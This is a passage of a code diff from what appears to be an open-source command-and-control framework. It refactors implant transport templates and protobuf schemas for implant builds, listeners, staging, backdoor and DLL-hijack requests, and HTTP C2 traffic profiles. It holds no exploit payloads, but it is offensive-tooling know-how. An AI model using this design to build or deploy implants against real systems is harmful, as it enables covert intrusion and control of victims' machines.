func httpConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
@@ -524,9 +524,9 @@ func httpConnect(uri *url.URL) (*Connection, error) {
return connection, nil
}
// {{end}} -HTTPc2Enabled
// {{end}} -IncludeHTTP
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
func dnsConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
@@ -631,9 +631,9 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
return connection, nil
}
// {{end}} - .DNSc2Enabled
// {{end}} - .IncludeDNS
// {{if .Config.TCPPivotc2Enabled}}
// {{if .Config.IncludeTCP}}
func tcpPivotConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
@@ -764,4 +764,4 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
return connection, nil
}
// {{end}} -TCPPivotc2Enabled
// {{end}} -IncludeTCP
+1 -1
View File
@@ -52,7 +52,7 @@ func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL {
} else {
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
return "{{$value.URL}}" // {{$index}}
})
// {{end}} - range
}
@@ -20,7 +20,7 @@ package transports
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.NamePipec2Enabled}}
// {{if .Config.IncludeNamePipe}}
import (
"io"
@@ -157,4 +157,4 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
return connection, nil
}
// {{end}} -NamePipec2Enabled
// {{end}} -IncludeNamePipe
@@ -20,7 +20,7 @@ package wireguard
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
import (
"bufio"
@@ -53,8 +53,8 @@ var (
tunnelNet *netstack.Net
tunAddress string
wgImplantPrivKey = `{{.Config.WGImplantPrivKey}}`
wgServerPubKey = `{{.Config.WGServerPubKey}}`
wgImplantPrivKey = `{{.Build.WGImplantPrivKey}}`
wgServerPubKey = `{{.Build.WGServerPubKey}}`
wgPeerTunIP = `{{.Config.WGPeerTunIP}}`
wgKeyExchangePort = getWgKeyExchangePort()
wgTcpCommsPort = getWgTcpCommsPort()
@@ -322,4 +322,4 @@ func getWgTcpCommsPort() int {
return wgTcpCommsPort
}
// {{end}} -WGc2Enabled
// {{end}} -IncludeWG
File diff suppressed because it is too large. Load diff
+258 -77
View File
@@ -110,9 +110,10 @@ message BeaconTasks {
}
message ImplantC2 {
uint32 Priority = 1;
string URL = 2;
string Options = 3; // Protocol specific options
string ID = 1;
uint32 Priority = 2;
string URL = 3;
string Options = 4; // Protocol specific options
}
enum OutputFormat {
@@ -125,32 +126,28 @@ enum OutputFormat {
message ImplantConfig {
string ID = 1;
bool IsBeacon = 2;
int64 BeaconInterval = 3;
int64 BeaconJitter = 4;
repeated ImplantBuild ImplantBuilds = 2;
string ImplantProfileID = 3;
bool IsBeacon = 4;
int64 BeaconInterval = 5;
int64 BeaconJitter = 6;
string GOOS = 5;
string GOARCH = 6;
string Name = 7;
string GOOS = 7;
string GOARCH = 8;
bool Debug = 8;
bool Evasion = 9;
bool ObfuscateSymbols = 10;
string TemplateName = 11;
bool SGNEnabled = 12;
bool Debug = 10;
bool Evasion = 11;
bool ObfuscateSymbols = 12;
string TemplateName = 13;
bool SGNEnabled = 14;
string MtlsCACert = 20;
string MtlsCert = 21;
string MtlsKey = 22;
bool IncludeMTLS = 53;
bool IncludeHTTP = 16;
bool IncludeWG = 17;
bool IncludeDNS = 18;
bool IncludeNamePipe = 19;
bool IncludeTCP = 20;
string AgeServerPublicKey = 23;
string PeerPublicKey = 24;
string PeerPrivateKey = 25;
string PeerPublicKeySignature = 26;
string MinisignServerPublicKey = 27;
string WGImplantPrivKey = 30;
string WGServerPubKey = 31;
string WGPeerTunIP = 32;
uint32 WGKeyExchangePort = 33;
uint32 WGTcpCommsPort = 34;
@@ -173,15 +170,15 @@ message ImplantConfig {
OutputFormat Format = 100;
bool IsSharedLib = 101;
string FileName = 102;
bool IsService = 103;
bool IsShellcode = 104;
bool RunAtLoad = 105;
string DebugFile = 106;
bool NetGoEnabled = 107;
bool TrafficEncodersEnabled = 108;
repeated string TrafficEncoders = 109;
string HTTPC2ConfigName = 150;
bool NetGoEnabled = 151;
bool TrafficEncodersEnabled = 152;
repeated string TrafficEncoders = 153;
repeated commonpb.File Assets = 200;
}
@@ -218,17 +215,53 @@ message TrafficEncoderTests {
message ExternalImplantConfig {
ImplantConfig Config = 1;
string OTPSecret = 2;
ImplantBuild Build = 2;
HTTPC2Config HTTPC2 = 3;
}
message ExternalImplantBinary {
string Name = 1;
string ImplantConfigID = 2;
string ImplantBuildID = 2;
commonpb.File File = 3;
}
// Configs of previously built implants
message ImplantBuilds { map<string, ImplantConfig> Configs = 1; }
message ImplantBuilds {
map<string, ImplantConfig> Configs = 1;
map<string, ResourceID> ResourceIDs = 2;
map<string, bool> staged = 3;
}
message ImplantStageReq {
repeated string Build = 1;
}
message ImplantBuild {
string ID = 1;
string Name = 2;
string MD5 = 3;
string SHA1 = 4;
string SHA256 = 5;
bool Burned = 6;
uint64 ImplantID = 7;
string ImplantConfigID = 8;
string AgeServerPublicKey = 9;
string PeerPublicKey = 10;
string PeerPrivateKey = 11;
string PeerPublicKeySignature = 12;
string MinisignServerPublicKey = 13;
string PeerPublicKeyDigest = 14;
string WGImplantPrivKey = 15;
string WGServerPubKey = 16;
string MtlsCACert = 17;
string MtlsCert = 18;
string MtlsKey = 19;
bool Stage = 20;
}
message CompilerTarget {
string GOOS = 1; // The server's OS
@@ -255,12 +288,13 @@ message DeleteReq { string Name = 1; }
// DNSCanary - Single canary and metadata
message DNSCanary {
string ImplantName = 1;
string Domain = 2;
bool Triggered = 3;
string FirstTriggered = 4;
string LatestTrigger = 5;
uint32 Count = 6;
string ID = 1;
string ImplantName = 2;
string Domain = 3;
bool Triggered = 4;
string FirstTriggered = 5;
string LatestTrigger = 6;
uint32 Count = 7;
}
message Canaries { repeated DNSCanary Canaries = 1; }
@@ -269,8 +303,9 @@ message Canaries { repeated DNSCanary Canaries = 1; }
message UniqueWGIP { string IP = 1; }
message ImplantProfile {
string Name = 1;
ImplantConfig Config = 2;
string ID = 1;
string Name = 2;
ImplantConfig Config = 3;
}
message ImplantProfiles { repeated ImplantProfile Profiles = 1; }
@@ -294,43 +329,53 @@ message Jobs { repeated Job Active = 1; }
message KillJobReq { uint32 ID = 1; }
message RestartJobReq {
repeated uint32 JobIDs = 1;
}
message KillJob {
uint32 ID = 1;
bool Success = 2;
}
// [ Listeners ] ----------------------------------------
message ListenerJob {
string ID = 1;
string Type = 2;
uint32 JobID = 3;
MTLSListenerReq MTLSConf = 4;
WGListenerReq WGConf = 5;
DNSListenerReq DNSConf = 6;
HTTPListenerReq HTTPConf = 7;
MultiplayerListenerReq MultiConf = 8;
}
message MultiplayerListenerReq {
string Host = 1;
uint32 Port = 2;
}
message MTLSListenerReq {
string Host = 1;
uint32 Port = 2;
bool Persistent = 3;
}
message MTLSListener { uint32 JobID = 1; }
message WGListenerReq {
string Host = 6;
uint32 Port = 1;
string TunIP = 2;
uint32 NPort = 3;
uint32 KeyPort = 4;
bool Persistent = 5;
}
message WGListener { uint32 JobID = 1; }
message DNSListenerReq {
repeated string Domains = 1;
bool Canaries = 2;
string Host = 3;
uint32 Port = 4;
bool Persistent = 5;
bool EnforceOTP = 6;
bool EnforceOTP = 6;
}
message DNSListener { uint32 JobID = 1; }
message HTTPListenerReq {
string Domain = 1;
string Host = 2;
@@ -340,7 +385,6 @@ message HTTPListenerReq {
bytes Cert = 6;
bytes Key = 7;
bool ACME = 8;
bool Persistent = 9;
bool EnforceOTP = 10;
int64 LongPollTimeout = 11;
int64 LongPollJitter = 12;
@@ -375,11 +419,10 @@ message TCPPivot {
commonpb.Response Response = 9;
}
message HTTPListener { uint32 JobID = 1; }
// [ Commands ] ----------------------------------------
message Sessions { repeated Session Sessions = 1; }
// [ commands ] ----------------------------------------
message Sessions {
repeated Session Sessions = 1;
}
message RenameReq {
string SessionID = 1;
@@ -387,7 +430,21 @@ message RenameReq {
string Name = 3;
}
message GenerateReq { ImplantConfig Config = 1; }
message GenerateReq {
ImplantConfig Config = 1;
string Name = 2;
}
message GenerateStageReq {
string Profile = 1;
string Name = 2;
string AESEncryptKey = 3;
string AESEncryptIv = 4;
string RC4EncryptKey = 5;
bool PrependSize = 6;
string CompressF = 7;
string Compress = 8;
}
message Generate { commonpb.File File = 1; }
@@ -448,6 +505,7 @@ message MsfStagerReq {
StageProtocol Protocol = 6;
repeated string BadChars = 7;
string AdvOptions = 8;
string HTTPC2ConfigName = 9;
}
message MsfStager { commonpb.File File = 1; }
@@ -457,6 +515,7 @@ message MsfStager { commonpb.File File = 1; }
message GetSystemReq {
string HostingProcess = 1;
ImplantConfig Config = 2;
string Name = 3;
commonpb.Request Request = 9;
}
@@ -467,6 +526,7 @@ message MigrateReq {
uint32 Pid = 1;
ImplantConfig Config = 2;
ShellcodeEncoder Encoder = 3;
string Name = 4;
commonpb.Request Request = 9;
}
@@ -523,9 +583,11 @@ message Operator {
// [ Websites ] ----------------------------------------
message WebContent {
string Path = 1;
string ContentType = 2;
uint64 Size = 3 [ jstype = JS_STRING ];
string ID = 1;
string WebsiteID = 2;
string Path = 3;
string ContentType = 4;
uint64 Size = 5 [ jstype = JS_STRING ];
bytes Content = 9;
}
@@ -541,8 +603,9 @@ message WebsiteRemoveContent {
}
message Website {
string Name = 1;
map<string, WebContent> Contents = 2;
string ID = 1;
string Name = 2;
map<string, WebContent> Contents = 3;
}
message Websites { repeated Website Websites = 1; }
@@ -585,15 +648,16 @@ message IOC {
message ExtensionData { string Output = 1; }
message Host {
string Hostname = 1;
string HostUUID = 2;
string OSVersion = 3;
string ID = 1;
string Hostname = 2;
string HostUUID = 3;
string OSVersion = 4;
repeated IOC IOCs = 4;
map<string, ExtensionData> ExtensionData = 5;
repeated IOC IOCs = 5;
map<string, ExtensionData> ExtensionData = 6;
string Locale = 6;
int64 FirstContact = 7;
string Locale = 7;
int64 FirstContact = 8;
}
message AllHosts { repeated Host Hosts = 1; }
@@ -605,6 +669,7 @@ message DllHijackReq {
bytes ReferenceDLL = 3;
bytes TargetDLL = 4;
string ProfileName = 5;
string Name = 6;
commonpb.Request Request = 9;
}
@@ -614,6 +679,7 @@ message DllHijack { commonpb.Response Response = 9; }
message BackdoorReq {
string FilePath = 1;
string ProfileName = 2;
string Name = 3;
commonpb.Request Request = 9;
}
@@ -649,6 +715,7 @@ message ShellcodeEncoderMap { map<string, ShellcodeEncoder> Encoders = 1; }
message ExternalGenerateReq {
ImplantConfig Config = 1;
string BuilderName = 2;
string Name = 3;
}
message Builders { repeated Builder Builders = 1; }
@@ -661,6 +728,99 @@ message Builder {
repeated string Templates = 5;
repeated CompilerTarget Targets = 6;
repeated CrossCompiler CrossCompilers = 7;
}
// [ HTTP C2 ] ----------------------------------------
message HTTPC2Configs { repeated HTTPC2Config configs = 1; }
message C2ProfileReq {
string Name = 1;
}
message HTTPC2ConfigReq {
bool overwrite = 1;
HTTPC2Config C2Config = 2;
}
message HTTPC2Config {
string ID = 1;
int64 Created = 2;
string Name = 3;
HTTPC2ServerConfig ServerConfig = 4;
HTTPC2ImplantConfig ImplantConfig = 5;
}
message HTTPC2ServerConfig {
string ID = 1;
bool RandomVersionHeaders = 2;
repeated HTTPC2Header Headers = 3;
repeated HTTPC2Cookie Cookies = 4;
}
message HTTPC2ImplantConfig {
string ID = 1;
string UserAgent = 2;
int32 ChromeBaseVersion = 3;
string MacOSVersion = 4;
string NonceQueryArgChars = 5;
repeated HTTPC2URLParameter ExtraURLParameters = 6;
repeated HTTPC2Header Headers = 7;
int32 MaxFiles = 8;
int32 MinFiles = 9;
int32 MaxPaths = 10;
int32 MinPaths = 11;
string StagerFileExtension = 12;
string PollFileExtension = 13;
string StartSessionFileExtension = 14;
string SessionFileExtension = 15;
string CloseFileExtension = 16;
repeated HTTPC2PathSegment PathSegments = 17;
}
message HTTPC2Cookie {
string ID = 1;
string Name = 2;
}
message HTTPC2Header {
string ID = 1;
string Method = 2;
string Name = 3;
string Value = 4;
int32 Probability = 5;
}
message HTTPC2URLParameter {
string ID = 1;
string Method = 2;
string Name = 3;
string Value = 4;
int32 Probability = 5;
}
enum HTTPC2SegmentType {
POLL = 0;
SESSION = 1;
CLOSE = 2;
}
message HTTPC2PathSegment {
string ID = 1;
bool IsFile = 2;
HTTPC2SegmentType SegmentType = 3;
string Value = 4;
}
// [ Credentials ] ----------------------------------------
@@ -868,14 +1028,15 @@ message CrackTask {
}
message Crackstation {
string Name = 1;
string OperatorName = 2;
string GOOS = 3; // The cracker's OS
string GOARCH = 4; // The cracker's Arch
string HashcatVersion = 5;
string HostUUID = 6;
string Version = 7;
map<int32, uint64> Benchmarks = 8;
string ID = 1;
string Name = 2;
string OperatorName = 3;
string GOOS = 4; // The cracker's OS
string GOARCH = 5; // The cracker's Arch
string HashcatVersion = 6;
string HostUUID = 7;
string Version = 8;
map<int32, uint64> Benchmarks = 9;
repeated CUDABackendInfo CUDA = 100;
repeated MetalBackendInfo Metal = 101;
@@ -1119,3 +1280,23 @@ message CrackFileChunk {
bytes Data = 9;
}
// watchtower
message MonitoringProviders {
repeated MonitoringProvider providers = 1;
}
message MonitoringProvider {
string ID = 1;
string Type = 2;
string APIKey = 3;
string APIPassword = 4;
}
// resource IDs
message ResourceID {
string ID = 1;
string Type = 2;
string Name = 3;
uint64 Value = 4;
}
+5 -4
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc v4.23.2
// protoc-gen-go v1.31.0
// protoc v4.25.0
// source: commonpb/common.proto
package commonpb
@@ -131,8 +131,9 @@ func (x *Request) GetSessionID() string {
}
// Response - Common fields used in all gRPC responses. Note that the Err field
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
//
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
type Response struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
Loaded 100 of 977 files, more files were not shown because too many files have changed in this diff. Show more